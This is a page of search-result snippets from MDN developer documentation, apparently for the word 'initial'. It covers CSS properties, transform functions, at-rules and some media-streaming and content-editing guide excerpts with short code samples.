CSS Charsets - CSS: Cascading Style Sheets
reference at-rules @charset specifications specification status comment css level 2 (revision 1)the definition of '@charset' in that specification.
... recommendation initial definition ...
Spanning and Balancing Columns - CSS: Cascading Style Sheets
the value none is the initial value and means the item does not span, remaining within a column.
... the initial value of multicol for column-fill is balance.
Styling Columns - CSS: Cascading Style Sheets
the initial value of column-gap in multicol is 1em.
...in other layout methods the initial value for column-gap is 0.
Typical use cases of Flexbox - CSS: Cascading Style Sheets
the items are aligned on the main axis with flex-start as this is the initial behaviour of flexbox, and we are aligning the item on the right by giving it a left margin of auto.
...as that side of the media object is using the initial values of flexbox it can shrink but not grow, and uses a flex-basis of auto.
Flow Layout and Overflow - CSS: Cascading Style Sheets
the property that controls how overflow behaves is the overflow property which has an initial value of visible.
...it takes one of two values clip, in which case content is clipped when it overflows, this is the initial value and therefore the default behaviour.
Introduction to formatting contexts - CSS: Cascading Style Sheets
block formatting contexts the outermost element in a document that uses block layout rules establishes the first, or initial block formatting context.
...a typical way to do this in the past has been to set overflow: auto or set other values than the initial value of overflow: visible.
OpenType font features guide - CSS: Cascading Style Sheets
setting a value of normal resets all properties to their initial value.
... setting a value of none sets font-variant-ligatures to none and all other properties to their initial value.
CSS Masking - CSS: Cascading Style Sheets
outset mask-border-repeat mask-border-slice mask-border-source mask-border-width mask-clip mask-composite mask-image mask-mode mask-origin mask-position mask-repeat mask-size mask-type specifications specification status comment css masking module level 1 candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'mask' in that specification.
... recommendation initial definition ...
CSS Motion Path - CSS: Cascading Style Sheets
basic example <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } reference properties offset offset-anchor offset-distance offset-path offset-position offset-rotate specifications specification status comment motion path module level 1 workin...
...g draft initial definition.
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
firefox initially implemented an early version of the scroll snap specification, called scroll snap points.
... in this initial example we have used the old specification alongside the current specification in order to make scroll snapping work in all browsers which support some form of scroll snapping.
Basic Shapes - CSS: Cascading Style Sheets
you can add the various box values after your basic shape definition.
...however the inset() types enables the definition of offsets, thus pulling the content in over the shape.
Shapes From Images - CSS: Cascading Style Sheets
if the value of shape-image-threshold is 0.0 (which is the initial value) then the area must be fully transparent.
... in the example below i am using a similar image to the initial example, however in this image the background of the star is not fully transparent, it has a 20% opacity as created in my graphics programme.
Column combinator - CSS: Cascading Style Sheets
<tr> <td>a <td>b <td>c </tr> <tr> <td colspan="2">d</td> <td>e</td> </tr> <tr> <td>f</td> <td colspan="2">g</td> </tr> </tbody> </table> css col.selected || td { background: gray; color: white; font-weight: bold; } result specifications specification status comment selectors level 4the definition of 'column combinator' in that specification.
... working draft initial definition.
Layout and the containing block - CSS: Cascading Style Sheets
contain: paint;) note: the containing block in which the root element (<html>) resides is a rectangle called the initial containing block.
...lightgray; } p { position: absolute; width: 50%; /* == (400px + 20px + 20px) * .5 = 220px */ height: 25%; /* == (160px + 30px + 30px) * .25 = 55px */ margin: 5%; /* == (400px + 20px + 20px) * .05 = 22px */ padding: 5%; /* == (400px + 20px + 20px) * .05 = 22px */ background: cyan; } example 4 in this example, the paragraph's position is fixed, so its containing block is the initial containing block (on screens, the viewport).
Filter Effects - CSS: Cascading Style Sheets
reference properties backdrop-filter filter data types <filter-function> specifications specification status comment filter effects module level 1the definition of 'filter' in that specification.
... working draft initial definition.
Syntax - CSS: Cascading Style Sheets
WebCSSSyntax
there are more than 100 different properties in css and a nearly infinite number of different values.
... note: the content of a css declaration block, that is a list of semi-colon-separated declarations, without the initial and closing braces, can be put inside an html style attribute.
Cubic Bezier Generator - CSS: Cascading Style Sheets
drawbeziercurve(x1, y1, x2, y2); } const radius = 4; // place needed to draw the rulers const rulers = 30.5; const margin = 10.5; const basic_scale_size = 5; // size of 0.1 tick on the rulers var scaling; //limitation: scaling is computed once: if canvas.height/canvas.width change it won't be recalculated var dragsm = 0; // drag state machine: 0 = nodrag, others = object being dragged function initcanvas() { // get the canvas element using the dom var canvas = document.getelementbyid('bezier'); // make sure we don't execute when canvas isn't supported if (canvas.getcontext) { // use getcontext to use the canvas for drawing var ctx = canvas.getcontext('2d'); scaling = math.min(canvas.height - rulers - margin, canvas.width - rulers - margin); ...
...entbyid('x2'); var y2 = document.getelementbyid('y2'); x2.value = reversex(x); x2.value = math.round(x2.value * 10000) / 10000; y2.value = reversey(y); y2.value = math.round(y2.value * 10000) / 10000; if (x2.value < 0) { x2.value = 0; } if (x2.value > 1) { x2.value = 1; } } updatecanvas(); } } initcanvas(); updatecanvas(); this is a sample tool; it lets you edit bezier curves.
<alpha-value> - CSS: Cascading Style Sheets
t: /* <rgba()> */ color: rgba(34, 12, 64, 0.6); color: rgba(34.0 12 64 / 60%); setting shape image threshold here an alpha value is used to determine which parts of an image are considered part of a shape: /* shape-image-threshold */ shape-image-threshold: 70%; shape-image-threshold: 0.7; specifications specification status comment css color module level 4the definition of '<alpha-value>' in that specification.
... css color module level 3the definition of '<alpha-value>' in that specification.
<angle-percentage> - CSS: Cascading Style Sheets
specifications specification status comment css values and units module level 4the definition of '<angle-percentage>' in that specification.
... editor's draft css values and units module level 3the definition of '<angle-percentage>' in that specification.
<blend-mode> - CSS: Cascading Style Sheets
at center, linear-gradient(to bottom, blue, orange); } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); selectelem.addeventlistener('change', () => { divelem.style.backgroundblendmode = selectelem.value; }); result specifications specification status comment compositing and blending level 1the definition of '<blend-mode>' in that specification.
... candidate recommendation initial definition.
box-align - CSS: Cascading Style Sheets
WebCSSbox-align
/* keyword values */ box-align: start; box-align: center; box-align: end; box-align: baseline; box-align: stretch; /* global values */ box-lines: inherit; box-lines: initial; box-lines: unset; the direction of layout depends on the element's orientation: horizontal or vertical.
... formal definition initial valuestretchapplies toelements with a css display value of box or inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax start | center | end | baseline | stretch examples setting box alignment <!doctype html> <html> <head> <title>css box-align example</title> <style> div.example { display: box; /* as specified */ display: -moz-b...
box-direction - CSS: Cascading Style Sheets
/* keyword values */ box-direction: normal; box-direction: reverse; /* global values */ box-direction: inherit; box-direction: initial; box-direction: unset; syntax the box-direction property is specified as one of the keyword values listed below.
... formal definition initial valuenormalapplies toelements with a css display value of box or inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | reverse | inherit examples setting box direction .example { /* bottom-to-top layout */ -moz-box-direction: reverse; /* mozilla */ -webkit-box-direction: reverse; /* webkit */ box-direction: reverse; ...
box-flex - CSS: Cascading Style Sheets
WebCSSbox-flex
/* <number> values */ -moz-box-flex: 0; -moz-box-flex: 2; -moz-box-flex: 3.5; -webkit-box-flex: 0; -webkit-box-flex: 2; -webkit-box-flex: 3.5; /* global values */ -moz-box-flex: inherit; -moz-box-flex: initial; -moz-box-flex: unset; -webkit-box-flex: inherit; -webkit-box-flex: initial; -webkit-box-flex: unset; syntax the box-flex property is specified as a <number>.
... formal definition initial value0applies toelements that are direct children of an element with a css display value of -moz-box or -moz-inline-box or -webkit-box or -webkit-inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax <number> examples setting box-flex <!doctype html> <html> <head> <title>-moz-box-flex example</title> <style> div.example { disp...
box-lines - CSS: Cascading Style Sheets
WebCSSbox-lines
/* keyword values */ box-lines: single; box-lines: multiple; /* global values */ box-lines: inherit; box-lines: initial; box-lines: unset; by default a horizontal box will lay out its children in a single row, and a vertical box will lay out its children in a single column.
... formal definition initial valuesingleapplies tobox elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax single | multiple examples simple usage example in the original version of the spec, box-lines allowed you to specify that you wanted your flex container's children to wrap onto multiple lines.
box-ordinal-group - CSS: Cascading Style Sheets
/* <integer> values */ box-ordinal-group: 1; box-ordinal-group: 5; /* global values */ box-ordinal-group: inherit; box-ordinal-group: initial; box-ordinal-group: unset; ordinal groups may be used in conjunction with the box-direction property to control the order in which the direct children of a box appear.
... formal definition initial value1applies tochildren of box elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <integer> examples basic usage example in an older version of the spec, box-ordinal-group was included to allow you to change the display order of flex children inside a flex container: article:nth-child(1) { -webkit-box-ordinal-group: 2 -moz-box-ordinal-group: 2...
box-orient - CSS: Cascading Style Sheets
/* keyword values */ box-orient: horizontal; box-orient: vertical; box-orient: inline-axis; box-orient: block-axis; /* global values */ box-orient: inherit; box-orient: initial; box-orient: unset; syntax the box-orient property is specified as one of the keyword values listed below.
... formal definition initial valueinline-axis (horizontal in xul)applies toelements with a css display value of box or inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax horizontal | vertical | inline-axis | block-axis | inherit examples setting horizontal box orientation here, he box-orient property will cause the two <p> sections in the example to display in the same line.
box-pack - CSS: Cascading Style Sheets
WebCSSbox-pack
/* keyword values */ box-pack: start; box-pack: center; box-pack: end; box-pack: justify; /* global values */ box-pack: inherit; box-pack: initial; box-pack: unset; the direction of layout depends on the element's orientation: horizontal or vertical.
... formal definition initial valuestartapplies toelements with a css display value of -moz-box, -moz-inline-box, -webkit-box or -webkit-inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax start | center | end | justify examples div.example { border-style: solid; display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ /* make this box taller than the childr...
calc() - CSS: Cascading Style Sheets
WebCSScalc
specifications specification status comment css values and units module level 3the definition of 'calc()' in that specification.
... candidate recommendation initial definition ...
clamp() - CSS: Cascading Style Sheets
WebCSSclamp
</p> css html { font-family: sans-serif; } body { margin: 0 auto; width: min(1000px, calc(70% + 100px)); } h1 { letter-spacing: 2px; font-size: clamp(1.8rem, 2.5vw, 2.8rem); } p { line-height: 1.5; font-size: max(1.2rem, 1.2vw); } specifications specification status comment css values and units module level 4the definition of 'clamp()' in that specification.
... editor's draft initial definition.
cross-fade() - CSS: Cascading Style Sheets
demos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); background-image: cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); } result specifications specification status comment css images module level 4the definition of 'cross-fade()' in that specification.
... working draft initial definition ...
env() - CSS: Cascading Style Sheets
WebCSSenv
specifications specification status comment css environment variables module level 1the definition of 'env()' in that specification.
... editor's draft initial definition.
grayscale() - CSS: Cascading Style Sheets
the initial value for interpolation is 0.
... examples grayscale(0) /* no effect */ grayscale(.7) /* 70% grayscale */ grayscale(100%) /* completely grayscale */ specifications specification status filter effects module level 1the definition of 'grayscale()' in that specification.
fit-content() - CSS: Cascading Style Sheets
r { display: grid; grid-template-columns: fit-content(300px) fit-content(300px) 1fr; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%; background-color: #8cffa0; padding: 10px; } #container > div { background-color: #8ca0ff; padding: 5px; } result specifications specification status comment css box sizing module level 3the definition of 'fit-content()' in that specification.
... css grid layoutthe definition of 'fit-content()' in that specification.
<flex> - CSS: Cascading Style Sheets
examples 1fr /* using an integer value */ 2.5fr /* using a float value */ specifications specification status comment css grid layoutthe definition of '<flex>' in that specification.
... candidate recommendation initial definition.
font-variant-alternates - CSS: Cascading Style Sheets
ed-ident); font-variant-alternates: styleset(user-defined-ident); font-variant-alternates: character-variant(user-defined-ident); font-variant-alternates: swash(user-defined-ident); font-variant-alternates: ornaments(user-defined-ident); font-variant-alternates: annotation(user-defined-ident); font-variant-alternates: swash(ident1) annotation(ident2); /* global values */ font-variant-alternates: initial; font-variant-alternates: inherit; font-variant-alternates: unset; the @font-feature-values at-rule can define names for alternative glyph functions (stylistic, styleset, character-variant, swash, ornament or annotation), associating the name with opentype parameters.
... formal definition initial valuenormalapplies toall elements.
<frequency-percentage> - CSS: Cascading Style Sheets
specifications specification status comment css values and units module level 4the definition of '<frequency-percentage>' in that specification.
... editor's draft css values and units module level 3the definition of '<frequency-percentage>' in that specification.
ident - CSS: Cascading Style Sheets
WebCSSident
specifications specification status comment css values and units module level 4the definition of '<ident>' in that specification.
... editor's draft css values and units module level 3the definition of '<ident>' in that specification.
<length-percentage> - CSS: Cascading Style Sheets
therefore, all of the following values are acceptable for width: width: 200px; width: 20%; width: calc(100% - 200px); specifications specification status comment css values and units module level 4the definition of '<length-percentage>' in that specification.
... editor's draft css values and units module level 3the definition of '<length-percentage>' in that specification.
margin-trim - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toblock containers and multi-column containers.
...} specifications specification status css box model module level 4the definition of 'margin-trim' in that specification.
max() - CSS: Cascading Style Sheets
WebCSSmax
mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 specifications specification status comment css values and units module level 4the definition of 'max()' in that specification.
... editor's draft initial definition ...
min() - CSS: Cascading Style Sheets
WebCSSmin
<form> <label>type something:</label> <input type="text"> </form> specifications specification status comment css values and units module level 4the definition of 'min()' in that specification.
... editor's draft initial definition.
minmax() - CSS: Cascading Style Sheets
WebCSSminmax
</div> </div> result specifications specification status comment css grid layoutthe definition of 'minmax()' in that specification.
... candidate recommendation initial definition ...
paint() - CSS: Cascading Style Sheets
WebCSSpaint
specifications specification status comment css painting api level 1the definition of 'paint notation' in that specification.
... working draft initial definition.
radial-gradient() - CSS: Cascading Style Sheets
specifications specification status comment css images module level 3the definition of 'radial-gradients()' in that specification.
... candidate recommendation initial definition.
Resolved value - CSS: Cascading Style Sheets
specifications specification status comment css object model (cssom)the definition of 'resolved value' in that specification.
... working draft initial definition.
scroll-snap-coordinate - CSS: Cascading Style Sheets
/* keyword value */ scroll-snap-coordinate: none; /* <position> values */ scroll-snap-coordinate: 50px 50px; /* single coordinate */ scroll-snap-coordinate: 100px 100px, 100px bottom; /* multiple coordinates */ /* global values */ scroll-snap-coordinate: inherit; scroll-snap-coordinate: initial; scroll-snap-coordinate: unset; if the element has been transformed, the snap coordinates are likewise transformed, thus aligning the snap points with the element as it is displayed.
... formal definition initial valuenoneapplies toall elementsinheritednopercentagesrefer to the element’s border boxcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea position formal syntax none | <position>#where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]?
scroll-snap-destination - CSS: Cascading Style Sheets
/* <position> value */ scroll-snap-destination: 400px 600px; /* global values */ scroll-snap-destination: inherit; scroll-snap-destination: initial; scroll-snap-destination: unset; syntax values <position> specifies the offset of the snap destination from the start edge of the scroll container’s visual viewport.
... formal definition initial value0px 0pxapplies toscroll containersinheritednopercentagesrelative to same axis of the padding-box of the scroll containercomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea position formal syntax <position>where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]?
scroll-snap-points-x - CSS: Cascading Style Sheets
/* keyword value */ scroll-snap-points-x: none; /* repeating snap points */ scroll-snap-points-x: repeat(400px); /* global values */ scroll-snap-points-x: inherit; scroll-snap-points-x: initial; scroll-snap-points-x: unset; syntax values none the scroll container does not define any snap points.
... formal definition initial valuenoneapplies toscroll containersinheritednopercentagesrelative to same axis of the padding-box of the scroll containercomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax none | repeat( <length-percentage> )where <length-percentage> = <length> | <percentage> examples setting horizontal scroll snap points html <div id="container"> <div>1</div> <div>2</div> <div>3</div...
scroll-snap-points-y - CSS: Cascading Style Sheets
/* keyword value */ scroll-snap-points-y: none; /* repeated snap points */ scroll-snap-points-y: repeat(400px); /* global values */ scroll-snap-points-y: inherit; scroll-snap-points-y: initial; scroll-snap-points-y: unset; syntax values none the scroll container does not define any snap points.
... formal definition initial valuenoneapplies toscroll containersinheritednopercentagesrelative to same axis of the padding-box of the scroll containercomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax none | repeat( <length-percentage> )where <length-percentage> = <length> | <percentage> examples setting vertical scroll snap points html <div id="container"> <div>1</div> <div>2</div> <div>3</div> ...
scroll-snap-type-x - CSS: Cascading Style Sheets
/* keyword values */ scroll-snap-type-x: none; scroll-snap-type-x: mandatory; scroll-snap-type-x: proximity; /* global values */ scroll-snap-type-x: inherit; scroll-snap-type-x: initial; scroll-snap-type-x: unset; syntax values none when the visual viewport of this scroll container is scrolled horizontally, it must ignore snap points.
... formal definition initial valuenoneapplies toscroll containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | mandatory | proximity specifications not part of any standard.
scroll-snap-type-y - CSS: Cascading Style Sheets
/* keyword values */ scroll-snap-type-y: none; scroll-snap-type-y: mandatory; scroll-snap-type-y: proximity; /* global values */ scroll-snap-type-y: inherit; scroll-snap-type-y: initial; scroll-snap-type-y: unset; syntax values none when the visual viewport of this scroll container is scrolled vertically, it must ignore snap points.
... formal definition initial valuenoneapplies toscroll containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | mandatory | proximity specifications not part of any standard.
text-justify - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toinline-level and table-cell elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | inter-character | inter-word | none examples <p class="none"><code>text-justify: none</code> —<br>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...; border: 1px solid black; padding: 10px; width: 95%; margin: 10px auto; text-align: justify; } .none { text-justify: none; } .auto { text-justify: auto; } .dist { text-justify: distribute; } .word { text-justify: inter-word; } .char { text-justify: inter-character; } specifications specification status comment css text module level 3the definition of 'text-justify' in that specification.
<time-percentage> - CSS: Cascading Style Sheets
specifications specification status comment css values and units module level 4the definition of '<time-percentage>' in that specification.
... editor's draft css values and units module level 3the definition of '<time-percentage>' in that specification.
matrix() - CSS: Cascading Style Sheets
(), skewy(), skewx(), scaley(), translatex(), translatey() ) examples html <div>normal</div> <div class="changed">changed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .changed { transform: matrix(1, 2, -1, 1, 80, 80); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'matrix()' in that specification.
... working draft initial definition ...
perspective() - CSS: Cascading Style Sheets
eg) rotatey(30deg); } .top { background-color: skyblue; transform: rotatex(90deg) translate3d(0, 0, 50px); } .left { background-color: pink; transform: rotatey(-90deg) translate3d(0, 0, 50px); } .front { background-color: limegreen; transform: translate3d(0, 0, 50px); } result specifications specification status comment css transforms level 2the definition of 'perspective()' in that specification.
... editor's draft initial definition ...
rotate() - CSS: Cascading Style Sheets
.rotate { background-color: transparent; outline: 2px dashed; transform: rotate(45deg); } .rotate-translate { background-color: pink; transform: rotate(45deg) translatex(180px); } .translate-rotate { background-color: gold; transform: translatex(180px) rotate(45deg); } result specifications specification status comment css transforms level 1the definition of 'rotate()' in that specification.
... working draft initial definition ...
rotate3d() - CSS: Cascading Style Sheets
result rotating on a custom axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotate3d(1, 2, -1, 192deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotate3d()' in that specification.
... editor's draft initial definition ...
rotateX() - CSS: Cascading Style Sheets
)-sin(a)0sin(a)cos(a) 10000cos(a)-sin(a)00sin(a)cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatex(45deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatex()' in that specification.
... editor's draft initial definition ...
rotateY() - CSS: Cascading Style Sheets
n(a)010-sin(a)0cos(a) cos(a)0sin(a)00100-sin(a)0cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatey(60deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatey()' in that specification.
... editor's draft initial definition ...
rotateZ() - CSS: Cascading Style Sheets
n(a)cos(a)0001 cos(a)-sin(a)00 sin(a)cos(a)00 0010 0001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatez(45deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatez()' in that specification.
... editor's draft initial definition ...
scale() - CSS: Cascading Style Sheets
translating the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scale(2, 0.5); /* equal to scalex(2) scaley(0.5) */ transform-origin: left; background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scale()' in that specification.
... working draft initial definition ...
scale3d() - CSS: Cascading Style Sheets
e transformation html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px); transform-origin: left; background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'scale3d()' in that specification.
... editor's draft initial definition ...
scaleX() - CSS: Cascading Style Sheets
00010001 s00010001 s000010000100001 [s 0 0 1 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scalex(0.6); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scalex()' in that specification.
... working draft initial definition ...
scaleY() - CSS: Cascading Style Sheets
000s0001 1000s0001 10000s0000100001 [1 0 0 s 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scaley(0.6); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scaley()' in that specification.
... working draft initial definition ...
scaleZ() - CSS: Cascading Style Sheets
perspective to create a 3d space */ transform: perspective(400px) translatez(-100px); background-color: limegreen; } .scaled-translated { /* includes a perspective to create a 3d space */ transform: perspective(400px) scalez(2) translatez(-100px); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'scalez()' in that specification.
... editor's draft initial definition ...
skew() - CSS: Cascading Style Sheets
equal to skewx(10deg) */ background-color: pink; } result using two angles html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skew(10deg, 10deg); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skew()' in that specification.
... working draft initial definition ...
skewX() - CSS: Cascading Style Sheets
00010000100001 [1 0 tan(a) 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skewx(10deg); /* equal to skew(10deg) */ background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewx()' in that specification.
... working draft initial definition ...
skewY() - CSS: Cascading Style Sheets
00tan(a)10001 1000tan(a)10000100001 [1 tan(a) 0 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skewy(40deg); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewy()' in that specification.
... working draft initial definition ...
translate() - CSS: Cascading Style Sheets
or: pink; } result combining y-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translate(10px, 10px); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translate()' in that specification.
... working draft initial definition ...
translate3d() - CSS: Cascading Style Sheets
ombining z-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: perspective(500px) translate3d(10px, 0, 100px); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'translate3d()' in that specification.
... editor's draft initial definition ...
translateX() - CSS: Cascading Style Sheets
latex(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translatex(10px); /* equal to translate(10px) */ background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatex()' in that specification.
... working draft initial definition ...
translateY() - CSS: Cascading Style Sheets
t] formal syntax translatey(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translatey(10px); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatey()' in that specification.
... working draft initial definition ...
user-modify - CSS: Cascading Style Sheets
/* keyword values */ user-modify: read-only; user-modify: read-write; user-modify: write-only; /* global values */ user-modify: inherit; user-modify: initial; user-modify: unset; this property has been replaced by the contenteditable attribute.
... formal definition value not found in db!
var() - CSS: Cascading Style Sheets
WebCSSvar
.header { color: var(--header-color, blue); /* header-color isn’t set, and so remains blue, the fallback value */ } .component .text { color: var(--text-color, black); } /* in the larger application’s style: */ .component { --text-color: #080; } specifications specification status comment css custom properties for cascading variables module level 1the definition of 'var()' in that specification.
... candidate recommendation initial definition ...
zoom - CSS: Cascading Style Sheets
WebCSSzoom
/* keyword values */ zoom: normal; zoom: reset; /* <percentage> values */ zoom: 50%; zoom: 200%; /* <number> values */ zoom: 1.1; zoom: 0.7; /* global values */ zoom: inherit; zoom: initial; zoom: unset; syntax values normal render this element at its normal size.
... formal definition initial valuenormalapplies toall elementsinheritednocomputed valueas specifiedanimation typean integer formal syntax normal | reset | <number> | <percentage> examples first example html <p class="small">small</p> <p class="normal">normal</p> <p class="big">big</p> css p.small { zoom: 75%; } p.normal { zoom: normal; } p.big { zoom: 2.5; } p { display: inline-block; } p:hover { ...
Live streaming web audio and video - Developer guides
the key consideration when streaming media to a browser is the fact that rather than playing a finite file we are relaying a file that is being created on the fly and has no pre-determined start or end.
... live streamed media lacks a finite start and end time as rather than a static file, it is a stream of data that the server passes on down the line to the browser and is often adaptive (see below).
Setting up adaptive streaming media sources - Developer guides
s="urn:mpeg:dash:profile:isoff-main:2011" type="static" mediapresentationduration="pt0h9m56.46s"> <baseurl> http://example.com/segments </baseurl> <period start="pt0s"> <adaptationset bitstreamswitching="true"> <representation id="0" codecs="avc1" mimetype="video/mp4" width="320" height="240" startwithsap="1" bandwidth="46986"> <segmentbase> <initialization sourceurl="main/news100/1.m4s" range="0-862"/> </segmentbase> <segmentlist duration="1"> <segmenturl media="main/news100/2.m4s" mediarange="863-7113"/> <segmenturl media="main/news100/3.m4s" mediarange="7114-14104"/> <segmenturl media="main/news100/4.m4s" mediarange="14105-17990"/> </segmentlist> </representation>...
... <representation id="1" codecs="avc1" mimetype="video/mp4" width="320" height="240" startwithsap="1" bandwidth="91932"> <segmentbase> <initialization sourceurl="main/news200/1.m4s" range="0-864"/> </segmentbase> <segmentlist duration="1"> <segmenturl media="main/news200/2.m4s" mediarange="865-11523"/> <segmenturl media="main/news200/3.m4s" mediarange="11524-25621"/> <segmenturl media="main/news200/4.m4s" mediarange="25622-33693"/> </segmentlist> </representation> <representation id="1" codecs="avc1" mimetype="video/mp4" width="320" height="240" startwithsap="1" bandwidth="270370"> <segmentbase> <initialization sourceurl="main/news300/1.m4s" range="0-865"/> ...
Audio and Video Delivery - Developer guides
for further info see cross browser audio basics (html5 audio in detail) html video <video controls width="640" height="480" poster="initialimage.png" autoplay muted> <source src="videofile.mp4" type="video/mp4"> <!-- fallback for browsers that don't support mp4 --> <source src="videofile.webm" type="video/webm"> <!-- specifying subtitle files --> <track src="subtitles_en.vtt" kind="subtitles" srclang="en" label="english"> <track src="subtitles_no.vtt" kind="subtitles" srclang="no" label="norwegian"> <!-- fallback ...
... note: play will be ignored by most browsers unless issued by a user-initiated event.
Challenge solutions - Developer guides
selectors second paragraph blue challenge without changing your html file, add a single rule to your css file that keeps all the initial letters the same color as they are now, but makes all the other text in the second paragraph blue.
... solution one way to do this is to put comment delimiters around the rule for .carrot: /* .carrot { color: orange; } */ text styles big initial letters challenge without changing anything else, make all six initial letters twice the size in the browser's default serif font.
DOM onevent handlers - Developer guides
when discussing the various methods of listening to events: event listener refers to a function or object registered via eventtarget.addeventlistener() event handler refers to a function registered via on… attributes or properties specifications specification status comment html living standardthe definition of 'event handlers' in that specification.
... living standard html5the definition of 'event handlers' in that specification.
Media events - Developer guides
encrypted the user agent has encountered initialization data in the media data.
... then, in line 3, the example sets the element's currenttime attribute to 10.0, which initiates a seek operation to the 10-second mark in the media.
Making content editable - Developer guides
ef("capability.policy.allowclipboard.sites", "https://www.mozilla.org"); user_pref("capability.policy.allowclipboard.clipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); example: a simple but complete rich text editor <!doctype html> <html> <head> <title>rich text editor</title> <script type="text/javascript"> var odoc, sdeftxt; function initdoc() { odoc = document.getelementbyid("textbox"); sdeftxt = odoc.innerhtml; if (document.compform.switchmode.checked) { setdocmode(true); } } function formatdoc(scmd, svalue) { if (validatemode()) { document.execcommand(scmd, false, svalue); odoc.focus(); } } function validatemode() { if (!document.compform.switchmode.checked) { return true ; } alert("uncheck \"show html\"."); odo...
.../script> <style type="text/css"> .intlink { cursor: pointer; } img.intlink { border: 0; } #toolbar1 select { font-size:10px; } #textbox { width: 540px; height: 200px; border: 1px #000000 solid; padding: 12px; overflow: scroll; } #textbox #sourcetext { padding: 0; margin: 0; min-width: 498px; min-height: 200px; } #editmode label { cursor: pointer; } </style> </head> <body onload="initdoc();"> <form name="compform" method="post" action="sample.php" onsubmit="if(validatemode()){this.mydoc.value=odoc.innerhtml;return true;}return false;"> <input type="hidden" name="mydoc"> <div id="toolbar1"> <select onchange="formatdoc('formatblock',this[this.selectedindex].value);this.selectedindex=0;"> <option selected>- formatting -</option> <option value="h1">title 1 &lt;h1&gt;</option> <opt...
HTML attribute: accept - HTML: Hypertext Markup Language
